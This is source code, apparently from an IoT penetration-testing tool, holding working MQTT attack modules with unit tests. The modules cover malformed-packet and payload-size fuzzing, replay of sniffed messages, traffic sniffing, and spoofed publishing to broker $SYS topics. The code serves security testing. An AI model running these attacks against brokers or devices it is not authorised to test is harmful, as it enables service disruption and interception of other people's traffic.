p = multiprocessing.Process(target=run_attack, name="DoS Attack")
p.start()
time.sleep(5)
if p.is_alive():
p.terminate()
p.join()
if __name__ == '__main__':
unittest.main()
================================================
FILE: src/protocols/MQTT/attacks/mqtt_fuzzing_attack_suite.py
================================================
from mqtt_generation_based_fuzzing import *
from mqtt_payload_size_fuzzer import *
from mqtt_random_payload_fuzzing import *
from mqtt_topic_name_fuzzing import MQTTTopicNameFuzzingAttack
from Entity.attack_suite import AttackSuite
class MQTTFuzzingAttackSuite(AttackSuite):
def __init__(self):
attacks = [MQTTTopicNameFuzzingAttack(), MQTTGenerationBasedFuzzingAttack(), MQTTPayloadSizeFuzzerAttack(), MQTTRandomPayloadFuzzingAttack()]
AttackSuite.__init__(self, "MQTT Fuzzing Attack Suite", attacks)
class TestMQTTFuzzingAttackSuite(unittest.TestCase):
def setUp(self):
self.mqtt_fuzzing_attack_suite = MQTTFuzzingAttackSuite()
def tearDown(self):
pass
def test_name(self):
self.assertEqual("MQTT Fuzzing Attack Suite", self.mqtt_fuzzing_attack_suite.get_attack_suite_name())
def test_attack_list(self):
attacks = self.mqtt_fuzzing_attack_suite.get_attacks()
self.assertIsNotNone(attacks)
self.assertGreater(len(attacks), 0, "Non inserted attacks")
self.assertEquals(len(attacks), 4)
def test_attacks(self):
attacks = self.mqtt_fuzzing_attack_suite.get_attacks()
for attack in attacks:
p = multiprocessing.Process(target=attack.run, name=attack.get_attack_name())
p.start()
time.sleep(5)
if p.is_alive():
p.terminate()
p.join()
if __name__ == '__main__':
unittest.main()
================================================
FILE: src/protocols/MQTT/attacks/mqtt_generation_based_fuzzing.py
================================================
import multiprocessing
import unittest
import paho.mqtt.client as paho
import logging
import random
import signal
import struct
import time
from Entity.attack import Attack
from Entity.input_format import InputFormat
from Utils.RandomUtil import random_generated_names
class MQTTGenerationBasedFuzzingAttack(Attack):
"""
MQTT Protocol - Payload Size Fuzzer Attack module
It is created to test any MQTT device as black box test with malformed or semi-malformed inputs
"""
client = None
# Input Fields
address = None
# Misc Members
sent_message_count = 0 # Transmitted fuzzing packets
logger = None
stopped_flag = False
subscribe = paho.SUBSCRIBE
unsubscribe = paho.UNSUBSCRIBE
def __init__(self):
default_parameters = ["127.0.0.1"]
inputs = [
InputFormat("Broker Address", "address", "", str, mandatory=True)
]
Attack.__init__(self, "MQTT Generation Based Fuzzing Attack", inputs, default_parameters,
" Inject the packets which are created from the scratch\n"
" and changed by come of their bits to corrupt the content")
logging.basicConfig(level=logging.DEBUG, format="%(asctime)s:%(levelname)s:%(name)s:%(message)s")
# Signal handler to exit from function
signal.signal(signal.SIGINT, self.signal_handler)
def signal_handler(self, sig, frame):
self.stop_attack()
def stop_attack(self):
self.logger.info("Transmitted fuzzing packet count: {0}, exitting...".format(self.sent_message_count))
self.stopped_flag = True
if (self.client is not None):
self.client.disconnect() # Close the connection before exitting
time.sleep(2) # Sleep two seconds so the user can see the message
# sys.exit(0)
def pre_attack_init(self):
self.client = paho.Client(random_generated_names.get_random_client_name())
try:
self.client.connect(self.address)
except Exception as e:
self.logger.error("Failed to connect to broker")
def send_subscribe_or_unsubscribe(self, fuzz_client, message_type, topics, dup=False, optional_remaining_length=2,
command_dup_shift_times=3, command_base_xor_part=0x2):
"""
Generic subscribe and unsubscribe packet injection functionality
:param fuzz_client: Client ot be fuzzed
:param message_type: Currently either SUBSCRIBE or UNSUBSCRIBE
:param topics: Topics in form [("my/topic", 0), ("another/topic", 2)] for SUBSCRIBE
or ["my/topic",another/topic"] for UNSUBSCRIBE
:param dup: Duplicate flag, I set it FALSE, but you can test with TRUE
:param optional_remaining_length: To exploit message content, normally MQTT header length
for SUBSCRIBE and UNSUBSCRIBE is 2 bytes
:param command_dup_shift_times: Aligning command in header, change this to create malformed messages
:param command_base_xor_part: Normally, we need to perform XOR with 0x2 to command part of MQTT Control Packet
field of the header
:type fuzz_client: mqtt.Client
:return: Tuple of queued message and local mid
"""
remaining_length = optional_remaining_length
for t in topics:
remaining_length += optional_remaining_length + len(t)
command = message_type | (dup << command_dup_shift_times) | command_base_xor_part
packet = bytearray()
packet.append(command)
fuzz_client._pack_remaining_length(packet, remaining_length)
local_mid = fuzz_client._mid_generate()
packet.extend(struct.pack("!H", local_mid))
if message_type == self.subscribe:
for t, q in topics:
fuzz_client._pack_str16(packet, t)
packet.append(q)
elif message_type == self.unsubscribe:
for t in topics:
fuzz_client._pack_str16(packet, t)
else:
self.logger.info("Unknown message type in Generation Based Fuzzing")
return (fuzz_client._packet_queue(command, packet, local_mid, 1), local_mid)
def random_topic_generator(self, message_type, possible_characters, possible_qos_values, length=10):
try:
assert length > 2
where_to_put_slash = random.randint(1, length - 1)
topic = "{0}/{1}".format(
"".join([random.choice(possible_characters) for _ in range(1, where_to_put_slash)]),
"".join([random.choice(possible_characters) for _ in range(where_to_put_slash, length)]))
if message_type == self.subscribe:
return topic, random.choice(possible_qos_values)
elif message_type == self.unsubscribe:
return topic
else:
self.logger.info("Unknown message type in Generation Based Fuzzing")
except AssertionError:
self.logger.error("Length must be greater than 2")
return "random/topic"
def run(self):
Attack.run(self)
self.pre_attack_init()
subscribe = paho.SUBSCRIBE
unsubscribe = paho.UNSUBSCRIBE
# Quality of service creator
random_qosses = [0, 1, 2]
# Currently include "A...Za...z"
random_strings = "".join([chr(_) for _ in range(65, 91)]) + "".join([chr(_) for _ in range(97, 123)])
'''
(fuzz_client, message_type, topics, dup=False, optional_remaining_length=2,
command_dup_shift_times=3, command_base_xor_part=0x2):
'''
test_cases = [
dict(message_type=subscribe, topics=[self.random_topic_generator(subscribe, random_strings, random_qosses)]
, dup=False, optional_remaining_length=2, command_dup_shift_times=3, command_base_xor_part=0x2),
dict(message_type=subscribe, topics=[self.random_topic_generator(subscribe, random_strings, random_qosses),
self.random_topic_generator(subscribe, random_strings, random_qosses)]
, dup=False, optional_remaining_length=3, command_dup_shift_times=3, command_base_xor_part=0x2),
dict(message_type=subscribe, topics=[self.random_topic_generator(subscribe, random_strings, random_qosses)]
, dup=False, optional_remaining_length=2, command_dup_shift_times=5, command_base_xor_part=0x2),
dict(message_type=subscribe, topics=[self.random_topic_generator(subscribe, random_strings, random_qosses)]
, dup=False, optional_remaining_length=2, command_dup_shift_times=3, command_base_xor_part=0x5),
dict(message_type=unsubscribe,
topics=[self.random_topic_generator(unsubscribe, random_strings, random_qosses)]
, dup=False, optional_remaining_length=2, command_dup_shift_times=3, command_base_xor_part=0x2),
dict(message_type=unsubscribe,
topics=[self.random_topic_generator(unsubscribe, random_strings, random_qosses),
self.random_topic_generator(unsubscribe, random_strings, random_qosses)]
, dup=False, optional_remaining_length=3, command_dup_shift_times=3, command_base_xor_part=0x2),
dict(message_type=unsubscribe,
topics=[self.random_topic_generator(unsubscribe, random_strings, random_qosses)]
, dup=False, optional_remaining_length=2, command_dup_shift_times=5, command_base_xor_part=0x2),
dict(message_type=unsubscribe,
topics=[self.random_topic_generator(unsubscribe, random_strings, random_qosses)]
, dup=False, optional_remaining_length=2, command_dup_shift_times=3, command_base_xor_part=0x5)
]
for test_case in test_cases:
if self.stopped_flag is True:
break
self.send_subscribe_or_unsubscribe(
self.client, test_case["message_type"], test_case["topics"],
test_case["dup"], test_case["optional_remaining_length"],
test_case["command_dup_shift_times"], test_case["command_base_xor_part"]
)
# Increment sent message count
self.sent_message_count += 1
self.logger.info("Test case {0} has been run in generation based fuzzing".format(str(test_case)))
time.sleep(1)
class TestMQTTGenerationBasedFuzzingAttack(unittest.TestCase):
def setUp(self):
self.mqtt_generation_based_fuzzer = MQTTGenerationBasedFuzzingAttack()
def tearDown(self):
pass
def test_name(self):
self.assertEqual("MQTT Generation Based Fuzzing Attack", self.mqtt_generation_based_fuzzer.get_attack_name())
def test_inputs(self):
inputs = self.mqtt_generation_based_fuzzer.get_inputs()
self.assertIsNotNone(inputs)
self.assertGreater(len(inputs), 0, "Non inserted inputs")
self.assertEquals(len(inputs), 1)
def test_non_initialized_inputs(self):
inputs = self.mqtt_generation_based_fuzzer.get_inputs()
for _input in inputs:
value = getattr(self.mqtt_generation_based_fuzzer, _input.get_name())
self.assertTrue(value is None or type(value) == _input.get_type())
def test_after_getting_inputs(self):
example_inputs = ["a.b.c.d"]
for index, _input in enumerate(example_inputs):
self.mqtt_generation_based_fuzzer.inputs[index].set_value(_input)
# Previously it should not be set
self.assertIsNone(self.mqtt_generation_based_fuzzer.client)
super(MQTTGenerationBasedFuzzingAttack, self.mqtt_generation_based_fuzzer).run()
inputs = self.mqtt_generation_based_fuzzer.get_inputs()
for index, _input in enumerate(inputs):
value = getattr(self.mqtt_generation_based_fuzzer, _input.get_name())
self.assertEqual(example_inputs[index], value)
def testGenerationBasedFuzzingAttack(self):
def run_attack():
example_inputs = ["127.0.0.1"]
for index, _input in enumerate(example_inputs):
self.mqtt_generation_based_fuzzer.inputs[index].set_value(_input)
try:
self.mqtt_generation_based_fuzzer.run()
except Exception as e:
self.assertTrue(False)
print "* If server is not initialized this test will not execute properly."
p = multiprocessing.Process(target=run_attack, name="Generation Based Fuzzing Attack")
p.start()
time.sleep(10)
if p.is_alive():
p.terminate()
p.join()
if __name__ == '__main__':
unittest.main()
================================================
FILE: src/protocols/MQTT/attacks/mqtt_payload_size_fuzzer.py
================================================
import paho.mqtt.client as paho
import multiprocessing
import logging
import random
import time
import signal
import unittest
from Entity.attack import Attack
from Entity.input_format import InputFormat
from Utils.RandomUtil import random_generated_names
class MQTTPayloadSizeFuzzerAttack(Attack):
"""
MQTT Protocol - Payload Size Fuzzer Attack module
It is created to test any MQTT device as black box test with malformed or semi-malformed inputs
"""
client = None
# Input Fields
host = None
topic = None
fuzzing_turn = 10
# Miscellaneous Members
logger = None
max_payload_length = 268435455
sent_message_count = 0 # Transmitted fuzzing packets
stopped_flag = False
def __init__(self):
default_parameters = ["127.0.0.1", "#", 10]
inputs = [
InputFormat("Broker Address", "host", "", str, mandatory=True),
InputFormat("Topic Name", "topic", self.topic, str, mandatory=True),
InputFormat("Fuzzing Turn", "fuzzing_turn", self.fuzzing_turn, int)
]
Attack.__init__(self, "MQTT Payload Size Fuzzer Attack", inputs, default_parameters,
" MQTT Payload size fuzzer attack description")
logging.basicConfig(level=logging.DEBUG, format="%(asctime)s:%(levelname)s:%(name)s:%(message)s")
# Signal handler to exit from function
signal.signal(signal.SIGINT, self.signal_handler)
def signal_handler(self, sig, frame):
self.stop_attack()
def stop_attack(self):
self.logger.info("Transmitted fuzzing packet count: {0}, exitting...".format(self.sent_message_count))
self.stopped_flag = True
if self.client is not None:
self.client.disconnect() # Close the connection before exitting
time.sleep(2) # Sleep one second so the user can see the message
# sys.exit(0)
def pre_attack_init(self):
try:
assert self.fuzzing_turn >= 2
except AssertionError as e:
raise
self.client = paho.Client(random_generated_names.get_random_client_name())
try:
self.client.connect(self.host)
except Exception as e:
self.logger.error("Failed to connect to broker")
def run(self):
Attack.run(self)
self.pre_attack_init()
# Fill the size list as randomly generated
size_list = [0, self.max_payload_length]
size_list.extend([random.randint(0, self.max_payload_length) for _ in range(self.fuzzing_turn - 2)])
fuzzing = 0
self.logger.info("Size payload fuzzing is started. Please consider it may take some time.")
for payload_size in size_list:
if self.stopped_flag is True: # An external interrupt can force us to finish the attack
break
# Create payload and send it
random_strings = "".join([chr(_) for _ in range(65, 91)]) + "".join([chr(_) for _ in range(97, 123)])
random_character = random.choice(random_strings)
sized_payload = random_character * payload_size
self.client.publish(self.topic, sized_payload)
# Increment sent message count
self.logger.info(
"Turn {0} is completed and {1} bytes of message is sent.".format(fuzzing + 1, payload_size))
self.sent_message_count += 1
fuzzing += 1
time.sleep(1)
if self.stopped_flag is False:
self.logger.info("Payload size attack is finished.")
class TestMQTTPayloadSizeAttack(unittest.TestCase):
def setUp(self):
self.mqtt_payload_size_fuzzer = MQTTPayloadSizeFuzzerAttack()
def tearDown(self):
pass
def test_name(self):
self.assertEqual("MQTT Payload Size Fuzzer Attack", self.mqtt_payload_size_fuzzer.get_attack_name())
def test_inputs(self):
inputs = self.mqtt_payload_size_fuzzer.get_inputs()
self.assertIsNotNone(inputs)
self.assertGreater(len(inputs), 0, "Non inserted inputs")
self.assertEquals(len(inputs), 3)
def test_non_initialized_inputs(self):
inputs = self.mqtt_payload_size_fuzzer.get_inputs()
for _input in inputs:
value = getattr(self.mqtt_payload_size_fuzzer, _input.get_name())
self.assertTrue(value is None or type(value) == _input.get_type())
def test_after_getting_inputs(self):
example_inputs = ["a.b.c.d", "peniot-coap-test", 8888]
for index, _input in enumerate(example_inputs):
self.mqtt_payload_size_fuzzer.inputs[index].set_value(_input)
# Previously it should not be set
self.assertIsNone(self.mqtt_payload_size_fuzzer.client)
super(MQTTPayloadSizeFuzzerAttack, self.mqtt_payload_size_fuzzer).run()
inputs = self.mqtt_payload_size_fuzzer.get_inputs()
for index, _input in enumerate(inputs):
value = getattr(self.mqtt_payload_size_fuzzer, _input.get_name())
self.assertEqual(example_inputs[index], value)
def test_invalid_fuzzing_turn(self):
example_inputs = ["127.0.0.1", "peniot-topic", 1]
for index, _input in enumerate(example_inputs):
self.mqtt_payload_size_fuzzer.inputs[index].set_value(_input)
super(MQTTPayloadSizeFuzzerAttack, self.mqtt_payload_size_fuzzer).run()
try:
self.mqtt_payload_size_fuzzer.pre_attack_init()
except AssertionError as e:
self.assertTrue(True)
def test_payload_size_fuzzing_attack(self):
def run_attack():
example_inputs = ["127.0.0.1", "peniot/test", 3]
for index, _input in enumerate(example_inputs):
self.mqtt_payload_size_fuzzer.inputs[index].set_value(_input)
try:
self.mqtt_payload_size_fuzzer.run()
except Exception as e:
self.assertTrue(False)
print "* If server is not initialized this test will not execute properly."
p = multiprocessing.Process(target=run_attack, name="DoS Attack")
p.start()
time.sleep(5)
if p.is_alive():
p.terminate()
p.join()
if __name__ == '__main__':
unittest.main()
================================================
FILE: src/protocols/MQTT/attacks/mqtt_random_payload_fuzzing.py
================================================
import multiprocessing
import unittest
import paho.mqtt.client as paho
import logging
import random
import signal
import time
from Entity.attack import Attack
from Entity.input_format import InputFormat
from Utils.FuzzerUtil import radamsa_util as rdm
from Utils.RandomUtil import random_generated_names
class MQTTRandomPayloadFuzzingAttack(Attack):
"""
MQTT Protocol - Random Payload Fuzzing Attack module
It is created to test any MQTT device as black box test with malformed or semi-malformed inputs
"""
client = None
# Input Fields
address = None
topic = None
turn = 10
count = 1
payload = None
# Misc Members
logger = None
max_length_of_random_payload = 100
sent_message_count = 0
stopped_flag = False
def __init__(self):
default_parameters = ["127.0.0.1", "#", 10, 10, ""]
inputs = [
InputFormat("Broker Address", "address", "", str, mandatory=True),
InputFormat("Topic", "topic", "", str, mandatory=True),
InputFormat("Fuzzing Turn", "turn", self.turn, int),
InputFormat("Fuzzing Message Count in each Turn", "count", self.count, int),
InputFormat("Payload", "payload", "", str, mandatory=True)
]
Attack.__init__(self, "MQTT Random Payload Fuzzing Attack", inputs, default_parameters,
" It creates a random payload and sends \n"
" this payload to the client.")
logging.basicConfig(level=logging.DEBUG, format="%(asctime)s:%(levelname)s:%(name)s:%(message)s")
# Signal handler to exit from function
signal.signal(signal.SIGINT, self.signal_handler)
def signal_handler(self, sig, frame):
self.stop_attack()
def stop_attack(self):
self.logger.info("Transmitted fuzzing packet count: {0}, exitting...".format(self.sent_message_count))
self.stopped_flag = True
if self.client is not None:
self.client.disconnect() # Close the connection before exitting
time.sleep(2) # Sleep two seconds so the user can see the message
# sys.exit(0)
def pre_attack_init(self):
self.client = paho.Client(random_generated_names.get_random_client_name())
try:
self.client.connect(self.address)
except Exception as e:
self.logger.error("Failed to connect to broker")
def run(self):
Attack.run(self)
self.pre_attack_init()
self.client.loop_start()
self.logger.info("Random payload fuzzing is started.")
if self.payload is None:
length = random.randint(1, self.max_length_of_random_payload)
self.payload = "".join([chr(random.randint(1, 127)) for _ in range(length)])
for fuzzing in range(self.turn):
if self.stopped_flag is True:
break
while True:
try:
returned_strings = rdm.get_ascii_decodable_radamsa_malformed_input(self.payload, self.count)
if type(returned_strings) == list:
fuzzer_messages = [string.decode("utf-8") for string in returned_strings]
else:
fuzzer_messages = returned_strings.decode("utf-8")
break
except UnicodeDecodeError:
self.logger.debug("Error occurred while decoding payload in random payload fuzzing.")
continue
# Check whether result is list or not
if type(fuzzer_messages) == list:
for message in fuzzer_messages:
self.client.publish(self.topic, message)
# Increment sent message count
self.sent_message_count += 1
else:
self.client.publish(self.topic, fuzzer_messages)
# Increment sent message count
self.sent_message_count += 1
time.sleep(1)
self.logger.info("Turn {0} is completed with message content = {1}".format(fuzzing + 1, fuzzer_messages))
self.client.loop_stop()
self.logger.info("Random payload fuzzing is finished.")
class TestMQTTRandomPayloadAttack(unittest.TestCase):
def setUp(self):
self.mqtt_random_payload_fuzzer = MQTTRandomPayloadFuzzingAttack()
def tearDown(self):
pass
def test_name(self):
self.assertEqual("MQTT Random Payload Fuzzing Attack", self.mqtt_random_payload_fuzzer.get_attack_name())
def test_inputs(self):
inputs = self.mqtt_random_payload_fuzzer.get_inputs()
self.assertIsNotNone(inputs)
self.assertGreater(len(inputs), 0, "Non inserted inputs")
self.assertEquals(len(inputs), 5)
def test_non_initialized_inputs(self):
inputs = self.mqtt_random_payload_fuzzer.get_inputs()
for _input in inputs:
value = getattr(self.mqtt_random_payload_fuzzer, _input.get_name())
self.assertTrue(value is None or type(value) == _input.get_type())
def test_after_getting_inputs(self):
example_inputs = ["a.b.c.d", "pen-topic", 12, 2, "pen-payload"]
for index, _input in enumerate(example_inputs):
self.mqtt_random_payload_fuzzer.inputs[index].set_value(_input)
# Previously it should not be set
self.assertIsNone(self.mqtt_random_payload_fuzzer.client)
super(MQTTRandomPayloadFuzzingAttack, self.mqtt_random_payload_fuzzer).run()
inputs = self.mqtt_random_payload_fuzzer.get_inputs()
for index, _input in enumerate(inputs):
value = getattr(self.mqtt_random_payload_fuzzer, _input.get_name())
self.assertEqual(example_inputs[index], value)
def test_invalid_fuzzing_turn(self):
example_inputs = ["127.0.0.1", "peniot-topic", 1]
for index, _input in enumerate(example_inputs):
self.mqtt_random_payload_fuzzer.inputs[index].set_value(_input)
super(MQTTRandomPayloadFuzzingAttack, self.mqtt_random_payload_fuzzer).run()
try:
self.mqtt_random_payload_fuzzer.pre_attack_init()
except AssertionError as e:
self.assertTrue(True)
def test_random_payload_fuzzing_attack(self):
def run_attack():
example_inputs = ["127.0.0.1", "peniot/test", 3, 1, "peniot-bbdep"]
for index, _input in enumerate(example_inputs):
self.mqtt_random_payload_fuzzer.inputs[index].set_value(_input)
try:
self.mqtt_random_payload_fuzzer.run()
except Exception as e:
self.assertTrue(False)
print "* If server is not initialized this test will not execute properly."
p = multiprocessing.Process(target=run_attack, name="Random Payload Fuzzing Attack")
p.start()
time.sleep(5)
if p.is_alive():
p.terminate()
p.join()
if __name__ == '__main__':
unittest.main()
================================================
FILE: src/protocols/MQTT/attacks/mqtt_replay_attack.py
================================================
import logging
import signal
import time
import unittest
import paho.mqtt.client as paho
from protocols.MQTT.mqtt_scanner import MQTTScanner
from Entity.attack import Attack
from Entity.input_format import InputFormat
from Utils.RandomUtil import random_generated_names
from Utils.SnifferUtil import generic_sniffer
class MQTTReplayAttack(Attack):
"""
MQTT Protocol - Replay Attack Module
Performs a replay attack using the inputs which are provided by the user
"""
client = None
captured_packets = None
# Input Fields
selected_index = 0
timeout = generic_sniffer.DEFAULT_SNIFF_TIMEOUT
interface = generic_sniffer.DEFAULT_INTERFACE
# Miscellaneous Members
logger = None
def __init__(self):
default_parameters = ["", 10.0, "any"]
inputs = [
InputFormat("Selected packet index", "selected_index", self.selected_index, int, mandatory=True),
InputFormat("Timeout", "timeout", self.timeout, float),
InputFormat("Interface", "interface", str(self.interface), str, mandatory=True)
]
Attack.__init__(self, "MQTT Replay Attack", inputs, default_parameters,
"Performs a replay attack using the inputs\n"
"which are provided by the user.")
logging.basicConfig(level=logging.DEBUG, format="%(asctime)s:%(levelname)s:%(name)s:%(message)s")
# Signal handler to exit from function
signal.signal(signal.SIGINT, self.signal_handler)
def signal_handler(self, sig, frame):
self.stop_attack()
def stop_attack(self):
self.logger.info("Exitting...")
if self.client is not None:
self.client.disconnect() # Close the connection before exitting
time.sleep(2) # Sleep two seconds so the user can see the message
# sys.exit(0)
def pre_attack_init(self):
try:
assert self.selected_index >= 0
except AssertionError as _:
self.logger.error("Invalid selected packet value!")
raise
try:
assert self.selected_index < len(self.captured_packets)
except AssertionError as _:
self.logger.error("Input value exceeds captured packets' size!")
raise
self.client = paho.Client(random_generated_names.get_random_client_name())
def run(self):
Attack.run(self)
self.pre_attack_process() # Sniff the packets so we can replay
self.pre_attack_init() # Do the necessary checks
try:
selected_packet = self.captured_packets[self.selected_index]
try:
self.client.connect(selected_packet.ip.dst_host)
except Exception as e:
self.logger.error("Failed to connect to broker")
self.logger.info(selected_packet)
self.client.publish(selected_packet.mqtt.topic, selected_packet.mqtt.msg)
except IndexError as _:
self.logger.error("Invalid packet index. Indices start from 0...")
def pre_attack_process(self):
"""
TODO Need to think how we can integrate such a pre_called method to GUI before attack execution
Scans valid packets to be replayed
"""
super(MQTTReplayAttack, self).set_input_value("timeout")
try:
assert self.timeout >= 0
self.captured_packets = MQTTScanner().scan(self.timeout, self.interface)
self.captured_packets = filter(lambda _: int(_.mqtt.msgtype) << 4 == paho.PUBLISH, self.captured_packets)
except AssertionError as _:
self.logger.error("Invalid timeout for scan operation!")
class TestMQTTReplayAttack(unittest.TestCase):
def setUp(self):
self.mqtt_replay_attack = MQTTReplayAttack()
def tearDown(self):
pass
def test_name(self):
self.assertEqual("MQTT Replay Attack", self.mqtt_replay_attack.get_attack_name())
def test_non_initialized_inputs(self):
inputs = self.mqtt_replay_attack.get_inputs()
for _input in inputs:
value = getattr(self.mqtt_replay_attack, _input.get_name())
self.assertTrue(value is None or type(value) == _input.get_type())
def test_after_getting_inputs(self):
example_inputs = [8, 13.2, "test-interface"]
for index, _input in enumerate(example_inputs):
self.mqtt_replay_attack.inputs[index].set_value(_input)
super(MQTTReplayAttack, self.mqtt_replay_attack).run()
inputs = self.mqtt_replay_attack.get_inputs()
for index, _input in enumerate(inputs):
value = getattr(self.mqtt_replay_attack, _input.get_name())
self.assertEqual(example_inputs[index], value)
def test_replay_attack(self):
example_inputs = [0, 15., "any"]
for index, _input in enumerate(example_inputs):
self.mqtt_replay_attack.inputs[index].set_value(_input)
self.mqtt_replay_attack.pre_attack_process()
packets = self.mqtt_replay_attack.captured_packets
self.assertIsNotNone(packets)
self.assertTrue(type(packets) == list)
self.assertGreaterEqual(len(packets), 0)
if len(packets) > 0:
self.mqtt_replay_attack.run()
self.assertTrue(True)
else:
self.assertTrue(False)
if __name__ == '__main__':
unittest.main()
================================================
FILE: src/protocols/MQTT/attacks/mqtt_sniff_attack.py
================================================
import logging
import signal
import time
import unittest
from protocols.MQTT.mqtt_scanner import MQTTScanner
from Entity.attack import Attack
from Entity.input_format import InputFormat
from Utils import CommonUtil
from Utils.SnifferUtil import generic_sniffer
class MQTTSniffAttack(Attack):
"""
MQTT Protocol - Sniff Attack module
It is created to scan/sniff the devices for their information
"""
# Input Fields
timeout = generic_sniffer.DEFAULT_SNIFF_TIMEOUT
interface = generic_sniffer.DEFAULT_INTERFACE
save_output = generic_sniffer.DEFAULT_SAVE
# Misc Members
logger = None
def __init__(self):
default_parameters = [
60.0,
generic_sniffer.DEFAULT_INTERFACE,
generic_sniffer.DEFAULT_SAVE
]
inputs = [
InputFormat("Timeout", "timeout", self.timeout, float),
InputFormat("Interface", "interface", str(self.interface), str, mandatory=True),
InputFormat("Save Captured Packets", "save_output", str(self.save_output), bool)
]
Attack.__init__(self, "MQTT Sniff Attack", inputs, default_parameters,
" It listens to the network traffic and\n"
" captures MQTT packages.")
logging.basicConfig(level=logging.DEBUG, format="%(asctime)s:%(levelname)s:%(name)s:%(message)s")
# Signal handler to exit from function
signal.signal(signal.SIGINT, self.signal_handler)
def signal_handler(self, sig, frame):
self.stop_attack()
def stop_attack(self):
self.logger.info("Exitting...")
time.sleep(2) # Sleep two seconds so the user can see the message
# sys.exit(0)
def input_check(self):
try:
assert self.timeout >= 0
except AssertionError as e:
self.logger.error("Invalid timeout for scan operation!")
def run(self):
self.input_check() # Do the necessary checks
super(MQTTSniffAttack, self).run()
packets = MQTTScanner().scan(self.timeout, self.interface,
output_pcap_filename="MQTT_" + CommonUtil.get_current_datetime_for_filename_format() if self.save_output else None)
for packet in packets:
self.logger.info(packet)
return packets
class TestMQTTSniffAttack(unittest.TestCase):
def setUp(self):
self.mqtt_sniff_attack = MQTTSniffAttack()
def tearDown(self):
pass
def test_name(self):
self.assertEqual("MQTT Sniff Attack", self.mqtt_sniff_attack.get_attack_name())
def test_non_initialized_inputs(self):
inputs = self.mqtt_sniff_attack.get_inputs()
for _input in inputs:
value = getattr(self.mqtt_sniff_attack, _input.get_name())
self.assertTrue(value is None or type(value) == _input.get_type())
def test_after_getting_inputs(self):
example_inputs = [13.2, "test-interface", False]
for index, _input in enumerate(example_inputs):
self.mqtt_sniff_attack.inputs[index].set_value(_input)
super(MQTTSniffAttack, self.mqtt_sniff_attack).run()
inputs = self.mqtt_sniff_attack.get_inputs()
for index, _input in enumerate(inputs):
value = getattr(self.mqtt_sniff_attack, _input.get_name())
self.assertEqual(example_inputs[index], value)
def test_sniff_attack(self):
example_inputs = [10.0]
for index, _input in enumerate(example_inputs):
self.mqtt_sniff_attack.inputs[index].set_value(_input)
packets = self.mqtt_sniff_attack.run()
self.assertIsNotNone(packets)
self.assertTrue(type(packets) == list)
self.assertGreaterEqual(len(packets), 0)
if __name__ == '__main__':
unittest.main()
================================================
FILE: src/protocols/MQTT/attacks/mqtt_topic_name_fuzzing.py
================================================
import logging
import multiprocessing
import signal
import time
import unittest
import paho.mqtt.client as paho
from Entity.attack import Attack
from Entity.input_format import InputFormat
from Utils.RandomUtil import random_generated_names
class MQTTTopicNameFuzzingAttack(Attack):
"""
MQTT Protocol - Topic Name Fuzzer Attack module
It is created to test any MQTT device as black box test with malformed or semi-malformed inputs
"""
client = None
# Input Fields
address = None
client2_name = None
# Misc Members
logger = None
def __init__(self):
default_parameters = ["127.0.0.1", ""]
inputs = [
InputFormat("Broker Address", "address", "", str, mandatory=True),
InputFormat("Client Name", "client2_name", "", str, mandatory=True)
]
Attack.__init__(self, "MQTT Topic Name Fuzzing Attack", inputs, default_parameters,
" MQTT Topic Name Fuzzing Attack description")
logging.basicConfig(level=logging.DEBUG, format="%(asctime)s:%(levelname)s:%(name)s:%(message)s")
# Signal handler to exit from function
signal.signal(signal.SIGINT, self.signal_handler)
def signal_handler(self, sig, frame):
self.stop_attack()
def stop_attack(self):
self.logger.info("MQTT topic name fuzzing is interrupted, exitting...")
if self.client is not None:
self.client.disconnect() # Close the connection before exitting
time.sleep(2) # Sleep two seconds so the user can see the message
# sys.exit(0)
def pre_attack_init(self):
self.client = paho.Client(random_generated_names.get_random_client_name())
try:
self.client.connect(self.address)
except Exception as e: # We may fail to connect the broker if the adress is invalid so except it
self.logger.error("Failed to connect to broker")
def run(self):
Attack.run(self)
self.pre_attack_init()
self.client.publish(self.client2_name + "/status", "topic_name_fuzzing_type_1")
print "Please check if the attacked client continues working"
er = self.client.subscribe("$SYS/#", 1)
if er[0] == 0:
self.logger.info("Successfully subscribed to all system topics. ALERT!")
self.client.unsubscribe("$SYS/#")
else:
self.logger.info("Failed to subscribe to all system topics. Very good!")
# Trying to publish to a system topic, change the number of clients connected
self.logger.info(
"Please check from the broker monitor if 999 is published to $SYS/broker/clients/connected, it will be published in a seconds!")
time.sleep(2)
self.client.publish("$SYS/broker/clients/connected", 999)
self.logger.info("Please check from the broker monitor if 999 is published to $SYS/broker/clients/connected.")
class TestMQTTTopicNameFuzzingAttack(unittest.TestCase):
def setUp(self):
self.mqtt_topic_name_fuzzer = MQTTTopicNameFuzzingAttack()
def tearDown(self):
pass
def test_name(self):
self.assertEqual("MQTT Topic Name Fuzzing Attack", self.mqtt_topic_name_fuzzer.get_attack_name())
def test_inputs(self):
inputs = self.mqtt_topic_name_fuzzer.get_inputs()
self.assertIsNotNone(inputs)
self.assertGreater(len(inputs), 0, "Non inserted inputs")
self.assertEquals(len(inputs), 2)
def test_non_initialized_inputs(self):
inputs = self.mqtt_topic_name_fuzzer.get_inputs()
for _input in inputs:
value = getattr(self.mqtt_topic_name_fuzzer, _input.get_name())
self.assertTrue(value is None or type(value) == _input.get_type())
def test_after_getting_inputs(self):
example_inputs = ["a.b.c.d", "peniot-test-cli"]
for index, _input in enumerate(example_inputs):
self.mqtt_topic_name_fuzzer.inputs[index].set_value(_input)
# Previously it should not be set
self.assertIsNone(self.mqtt_topic_name_fuzzer.client)
super(MQTTTopicNameFuzzingAttack, self.mqtt_topic_name_fuzzer).run()
inputs = self.mqtt_topic_name_fuzzer.get_inputs()
for index, _input in enumerate(inputs):
value = getattr(self.mqtt_topic_name_fuzzer, _input.get_name())
self.assertEqual(example_inputs[index], value)
def test_payload_size_fuzzing_attack(self):
def run_attack():
example_inputs = ["127.0.0.1", "peniot-cli"]
for index, _input in enumerate(example_inputs):
self.mqtt_topic_name_fuzzer.inputs[index].set_value(_input)
try:
self.mqtt_topic_name_fuzzer.run()
except Exception as e:
self.assertTrue(False)
print "* If server is not initialized this test will not execute properly."
p = multiprocessing.Process(target=run_attack, name="Topic Name Fuzzing Attack")
p.start()
time.sleep(5)
if p.is_alive():
p.terminate()
p.join()
if __name__ == '__main__':
unittest.main()
================================================
FILE: src/protocols/MQTT/examples/Demo/__init__.py
================================================
================================================
FILE: src/protocols/MQTT/examples/Demo/demo_publisher.py
================================================
import paho.mqtt.client as paho
import argparse
import logging
import signal
import sys
import time
